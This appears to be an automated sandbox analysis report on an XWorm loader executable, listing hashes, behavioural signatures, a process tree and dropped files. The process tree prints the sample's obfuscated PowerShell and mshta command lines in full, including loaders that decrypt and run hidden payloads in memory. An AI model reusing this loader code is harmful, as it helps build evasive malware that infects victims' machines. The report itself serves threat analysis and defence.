Analysis
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max time kernel
30s -
max time network
32s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
26-03-2024 22:16
Behavioral task
behavioral1
Sample
X-Worm-V5-main/XWorm V5.0/XWorm V5.0.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
X-Worm-V5-main/XWorm V5.0/XWorm V5.0.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral3
Sample
X-Worm-V5-main/XWorm V5.0/XWormLoader.exe
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
X-Worm-V5-main/XWorm V5.0/XWormLoader.exe
Resource
win10v2004-20240226-en
General
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Target
X-Worm-V5-main/XWorm V5.0/XWormLoader.exe
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Size
8.6MB
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MD5
2aff4d1edefd1017408f77bbf15ef6c2
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SHA1
cfc1827c2e45802cbfe931ab66dea427c512a6ab
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SHA256
7de8a4b7288fe71fdb8fa2eb453059937ce5ff998e117dc79c8d68de7e0f9315
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SHA512
a456dba519592187461596f0ceb1e008e0a9a974a79698acda5bb1cfe000b99fd1bcafe140a022a40db6b447cb70e335dba137500a4f05e68299a3da758f9756
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SSDEEP
196608:6HwveWmitDQXAWhg8tlFPreKofxWJHVP3u8CkXt0rQMJB4Eo:IkmitD85hgAtop81Hh0sUBk
Malware Config
Signatures
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Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
XWormLoader.exe$sxr-mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation XWormLoader.exe Key value queried \REGISTRY\USER\S-1-5-21-566096764-1992588923-1249862864-1000\Control Panel\International\Geo\Nation $sxr-mshta.exe -
Executes dropped EXE 4 IoCs
Processes:
XWormLoader.exe$sxr-mshta.exe$sxr-cmd.exe$sxr-powershell.exepid process 1356 XWormLoader.exe 1764 $sxr-mshta.exe 2800 $sxr-cmd.exe 3940 $sxr-powershell.exe -
Drops file in Windows directory 6 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\$sxr-powershell.exe powershell.exe File opened for modification C:\Windows\$sxr-powershell.exe powershell.exe File created C:\Windows\$sxr-mshta.exe powershell.exe File opened for modification C:\Windows\$sxr-mshta.exe powershell.exe File created C:\Windows\$sxr-cmd.exe powershell.exe File opened for modification C:\Windows\$sxr-cmd.exe powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 1416 1356 WerFault.exe XWormLoader.exe -
Modifies registry class 1 IoCs
Processes:
$sxr-mshta.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe -
Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
powershell.exe$sxr-powershell.exepid process 2096 powershell.exe 2096 powershell.exe 2096 powershell.exe 2096 powershell.exe 2096 powershell.exe 2096 powershell.exe 3940 $sxr-powershell.exe 3940 $sxr-powershell.exe 3940 $sxr-powershell.exe 3940 $sxr-powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exe$sxr-powershell.exedescription pid process Token: SeDebugPrivilege 2096 powershell.exe Token: SeDebugPrivilege 2096 powershell.exe Token: SeDebugPrivilege 2096 powershell.exe Token: SeDebugPrivilege 3940 $sxr-powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
XWormLoader.execmd.exe$sxr-mshta.exe$sxr-cmd.exedescription pid process target process PID 3316 wrote to memory of 1356 3316 XWormLoader.exe XWormLoader.exe PID 3316 wrote to memory of 1356 3316 XWormLoader.exe XWormLoader.exe PID 3316 wrote to memory of 1356 3316 XWormLoader.exe XWormLoader.exe PID 3316 wrote to memory of 1064 3316 XWormLoader.exe cmd.exe PID 3316 wrote to memory of 1064 3316 XWormLoader.exe cmd.exe PID 1064 wrote to memory of 2336 1064 cmd.exe cmd.exe PID 1064 wrote to memory of 2336 1064 cmd.exe cmd.exe PID 1064 wrote to memory of 2096 1064 cmd.exe powershell.exe PID 1064 wrote to memory of 2096 1064 cmd.exe powershell.exe PID 1764 wrote to memory of 2800 1764 $sxr-mshta.exe $sxr-cmd.exe PID 1764 wrote to memory of 2800 1764 $sxr-mshta.exe $sxr-cmd.exe PID 2800 wrote to memory of 2340 2800 $sxr-cmd.exe cmd.exe PID 2800 wrote to memory of 2340 2800 $sxr-cmd.exe cmd.exe PID 2800 wrote to memory of 3940 2800 $sxr-cmd.exe $sxr-powershell.exe PID 2800 wrote to memory of 3940 2800 $sxr-cmd.exe $sxr-powershell.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\X-Worm-V5-main\XWorm V5.0\XWormLoader.exe"C:\Users\Admin\AppData\Local\Temp\X-Worm-V5-main\XWorm V5.0\XWormLoader.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe"C:\Users\Admin\AppData\Local\Temp\XWormLoader.exe"2⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1356 -s 8843⤵
- Program crash
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\svchost.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function ZSHdk($KarSC){ $ZfCFn=[System.Security.Cryptography.Aes]::Create(); $ZfCFn.Mode=[System.Security.Cryptography.CipherMode]::CBC; $ZfCFn.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $ZfCFn.Key=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('KtZKjEms98+Uz3JdAwXifcpceQe4mGFCZZetPfWLjV8='); $ZfCFn.IV=[System.Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))('XxhTpYt8KLdLDSpO7hDOxw=='); $tlguC=$ZfCFn.CreateDecryptor(); $return_var=$tlguC.TransformFinalBlock($KarSC, 0, $KarSC.Length); $tlguC.Dispose(); $ZfCFn.Dispose(); $return_var;}function CaoMW($KarSC){ $tLaFs=New-Object System.IO.MemoryStream(,$KarSC); $lDGtw=New-Object System.IO.MemoryStream; Invoke-Expression '$ixeoS #=# #N#e#w#-#O#b#j#e#c#t# #S#y#s#t#e#m#.#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#G#Z#i#p#S#t#r#e#a#m#(#$tLaFs,# #[#I#O#.#C#o#m#p#r#e#s#s#i#o#n#.#C#o#m#p#r#e#s#s#i#o#n#M#o#d#e#]#:#:#D#e#c#o#m#p#r#e#s#s#)#;#'.Replace('#', ''); $ixeoS.CopyTo($lDGtw); $ixeoS.Dispose(); $tLaFs.Dispose(); $lDGtw.Dispose(); $lDGtw.ToArray();}function akbWW($KarSC,$vyQOD){ $xXjIa = @( '$qtafy = [System.Reflection.Assembly]::("@L@o@a@d@".Replace("@", ""))([byte[]]$KarSC);', '$FBuAc = $qtafy.EntryPoint;', '$FBuAc.Invoke($null, $vyQOD);' ); foreach ($eBUTc in $xXjIa) { Invoke-Expression $eBUTc };}$QCWfW=[System.IO.File]::("@R@e@a@d@A@l@l@T@e@x@t@".Replace("@", ""))('C:\Users\Admin\AppData\Local\Temp\svchost.bat').Split([Environment]::NewLine);foreach ($hgEiC in $QCWfW) { if ($hgEiC.StartsWith('SEROXEN')) { $GFlqW=$hgEiC.Substring(7); break; }}$llOQb=CaoMW (ZSHdk ([Convert]::("@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@".Replace("@", ""))($GFlqW)));akbWW $llOQb (,[string[]] ('C:\Users\Admin\AppData\Local\Temp\svchost.bat')); "3⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ep bypass -noprofile -windowstyle hidden3⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1356 -ip 13561⤵
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C:\Windows\$sxr-mshta.exeC:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-TwfkFnoyLGWlxhzmArsw4312:SwveldPS=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\$sxr-cmd.exe"C:\Windows\$sxr-cmd.exe" /c %$sxr-TwfkFnoyLGWlxhzmArsw4312:SwveldPS=%2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function ASDgm($hbtlH){ $jvCLB=[System.Security.Cryptography.Aes]::Create(); $jvCLB.Mode=[System.Security.Cryptography.CipherMode]::CBC; $jvCLB.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $jvCLB.Key=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('blz4wP7NQ0z9G5HU5qt1rBXWDUDwhPjk4R14Im6s+lY='); $jvCLB.IV=[System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))('tyHaD0iUmC1atKVX/rbjZw=='); $bkHaC=$jvCLB.('@C@r@e@a@t@e@D@e@c@r@y@p@t@o@r@'.Replace('@', ''))(); $KdWyo=$bkHaC.('@T@r@a@n@s@f@o@r@m@F@i@n@a@l@B@l@o@c@k@'.Replace('@', ''))($hbtlH, 0, $hbtlH.Length); $bkHaC.Dispose(); $jvCLB.Dispose(); $KdWyo;}function cHftl($hbtlH){ $ZLGfO=New-Object System.IO.MemoryStream(,$hbtlH); $pEGfA=New-Object System.IO.MemoryStream; Invoke-Expression '$YNTor @=@ @N@e@w@-@O@b@j@e@c@t@ @S@y@s@t@e@m@.@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@G@Z@i@p@S@t@r@e@a@m@(@$ZLGfO,@ @[@I@O@.@C@o@m@p@r@e@s@s@i@o@n@.@C@o@m@p@r@e@s@s@i@o@n@M@o@d@e@]@:@:@D@e@c@o@m@p@r@e@s@s@)@;@'.Replace('@', ''); $YNTor.CopyTo($pEGfA); $YNTor.Dispose(); $ZLGfO.Dispose(); $pEGfA.Dispose(); $pEGfA.ToArray();}function cDPce($hbtlH){ $KdWyo = [System.Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($hbtlH); $KdWyo = ASDgm($KdWyo); $KdWyo = [System.Text.Encoding]::('@U@T@F@8@'.Replace('@', '')).('@G@e@t@S@t@r@i@n@g@'.Replace('@', ''))($KdWyo); return $KdWyo;}function execute_function($hbtlH,$HyIWf){ $wMvLZ = @( '$gbejj = [System.Reflection.Assembly]::Load([byte[]]$hbtlH);', '$nYAXe = $gbejj.EntryPoint;', '$nYAXe.Invoke($null, $HyIWf);' ); foreach ($XGPPP in $wMvLZ) { Invoke-Expression $XGPPP };}$WwewB = cDPce('6jh9/JwNM6P3zg5yY8XZBg==');$pAwEN = cDPce('ZViCuth6vUsFE5+msWnrZo/mOl8APvimIOP0OBotRXY=');$EiozW = cDPce('e/do7iEa4WyK+N/slo150A==');$xMYjW = cDPce('0AZpRDqOSBwoRnb0ckOSHA==');if (@(get-process -ea silentlycontinue $xMYjW).count -gt 1) {exit};$AmhAI = [Microsoft.Win32.Registry]::('@L@o@c@a@l@M@a@c@h@i@n@e@'.Replace('@', '')).('@O@p@e@n@S@u@b@k@e@y@'.Replace('@', ''))($WwewB).('@G@e@t@V@a@l@u@e@'.Replace('@', ''))($pAwEN);$lPNsi=cHftl (ASDgm ([Convert]::('@F@r@o@m@B@a@s@e@6@4@S@t@r@i@n@g@'.Replace('@', ''))($AmhAI)));execute_function $lPNsi (,[string[]] ($EiozW)); "3⤵
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C:\Windows\$sxr-powershell.exeC:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCacheFilesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
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C:\Users\Admin\AppData\Local\Temp\XWormLoader.exeFilesize
101KB
MD539d81ca537ceb52632fbb2e975c3ee2f
SHA10a3814bd3ccea28b144983daab277d72313524e4
SHA25676c4d61afdebf279316b40e1ca3c56996b16d760aa080d3121d6982f0e61d8e7
SHA51218f7acf9e7b992e95f06ab1c96f017a6e7acde36c1e7c1ff254853a1bfcde65abcdaa797b36071b9349e83aa2c0a45c6dfb2d637c153b53c66fc92066f6d4f9a
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pz3lsmke.xbe.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\svchost.batFilesize
11.9MB
MD52892f2caa15e37c12faea09c6bb5a44a
SHA18f401732b8a3a8b1022ef52836a4e7eac604146a
SHA256c5ece24bcd43419cf718605925b565c17bc668ab7d3801a1d923465b15bd9f1f
SHA51235abceb95d61ba4bfb6facc9559fe4d2db3eec9810bff4230c697864e0bd37e58ec1c1d817a766cfc07b12bed0dfedecfab01179f7295d1118347ba432ee996d
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C:\Windows\$sxr-cmd.exeFilesize
283KB
MD58a2122e8162dbef04694b9c3e0b6cdee
SHA1f1efb0fddc156e4c61c5f78a54700e4e7984d55d
SHA256b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450
SHA51299e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397
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C:\Windows\$sxr-mshta.exeFilesize
14KB
MD50b4340ed812dc82ce636c00fa5c9bef2
SHA151c97ebe601ef079b16bcd87af827b0be5283d96
SHA256dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895
SHA512d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045
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C:\Windows\$sxr-powershell.exeFilesize
442KB
MD504029e121a0cfa5991749937dd22a1d9
SHA1f43d9bb316e30ae1a3494ac5b0624f6bea1bf054
SHA2569f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f
SHA5126a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b
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memory/1356-19-0x00000000750F0000-0x00000000758A0000-memory.dmpFilesize
7.7MB
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memory/1356-20-0x0000000000C00000-0x0000000000C1E000-memory.dmpFilesize
120KB
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memory/1356-22-0x00000000750F0000-0x00000000758A0000-memory.dmpFilesize
7.7MB
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memory/2096-33-0x00007FFE77B80000-0x00007FFE78641000-memory.dmpFilesize
10.8MB
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memory/2096-47-0x0000025D6FA40000-0x0000025D6FA6E000-memory.dmpFilesize
184KB
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memory/2096-34-0x0000025D6EB70000-0x0000025D6EB80000-memory.dmpFilesize
64KB
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memory/2096-35-0x0000025D6EB70000-0x0000025D6EB80000-memory.dmpFilesize
64KB
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memory/2096-36-0x0000025D6F630000-0x0000025D6F674000-memory.dmpFilesize
272KB
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memory/2096-37-0x0000025D6FAC0000-0x0000025D6FB36000-memory.dmpFilesize
472KB
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memory/2096-38-0x0000025D77E60000-0x0000025D786F8000-memory.dmpFilesize
8.6MB
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memory/2096-39-0x00007FFE94EF0000-0x00007FFE94FAE000-memory.dmpFilesize
760KB
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memory/2096-40-0x00007FFE96390000-0x00007FFE96585000-memory.dmpFilesize
2.0MB
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memory/2096-41-0x00007FFE96390000-0x00007FFE96585000-memory.dmpFilesize
2.0MB
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memory/2096-42-0x00007FFE96390000-0x00007FFE96585000-memory.dmpFilesize
2.0MB
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memory/2096-43-0x0000025D6FB40000-0x0000025D7060A000-memory.dmpFilesize
10.8MB
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memory/2096-44-0x0000025D70610000-0x0000025D706AA000-memory.dmpFilesize
616KB
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memory/2096-45-0x0000025D6F5E0000-0x0000025D6F632000-memory.dmpFilesize
328KB
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memory/2096-46-0x0000025D6F680000-0x0000025D6F6D8000-memory.dmpFilesize
352KB
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memory/2096-32-0x0000025D6EC20000-0x0000025D6EC42000-memory.dmpFilesize
136KB
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memory/2096-55-0x0000025D56860000-0x0000025D56868000-memory.dmpFilesize
32KB
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memory/2096-56-0x0000000180000000-0x0000000180009000-memory.dmpFilesize
36KB
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memory/2096-57-0x00007FFE77B80000-0x00007FFE78641000-memory.dmpFilesize
10.8MB
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memory/2096-82-0x0000025D6EB70000-0x0000025D6EB80000-memory.dmpFilesize
64KB
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memory/2096-68-0x0000025D6EB70000-0x0000025D6EB80000-memory.dmpFilesize
64KB
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memory/3316-3-0x000000001C800000-0x000000001C810000-memory.dmpFilesize
64KB
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memory/3316-18-0x00007FFE780D0000-0x00007FFE78B91000-memory.dmpFilesize
10.8MB
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memory/3316-1-0x00007FFE780D0000-0x00007FFE78B91000-memory.dmpFilesize
10.8MB
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memory/3316-0-0x0000000000480000-0x0000000000D16000-memory.dmpFilesize
8.6MB
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memory/3940-69-0x00007FFE77B80000-0x00007FFE78641000-memory.dmpFilesize
10.8MB
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memory/3940-70-0x000001EBCB510000-0x000001EBCB520000-memory.dmpFilesize
64KB
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memory/3940-71-0x000001EBCB510000-0x000001EBCB520000-memory.dmpFilesize
64KB
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memory/3940-83-0x000001EBF45E0000-0x000001EBF4BF0000-memory.dmpFilesize
6.1MB
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memory/3940-84-0x00007FFE94EF0000-0x00007FFE94FAE000-memory.dmpFilesize
760KB
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memory/3940-85-0x00007FFE96390000-0x00007FFE96585000-memory.dmpFilesize
2.0MB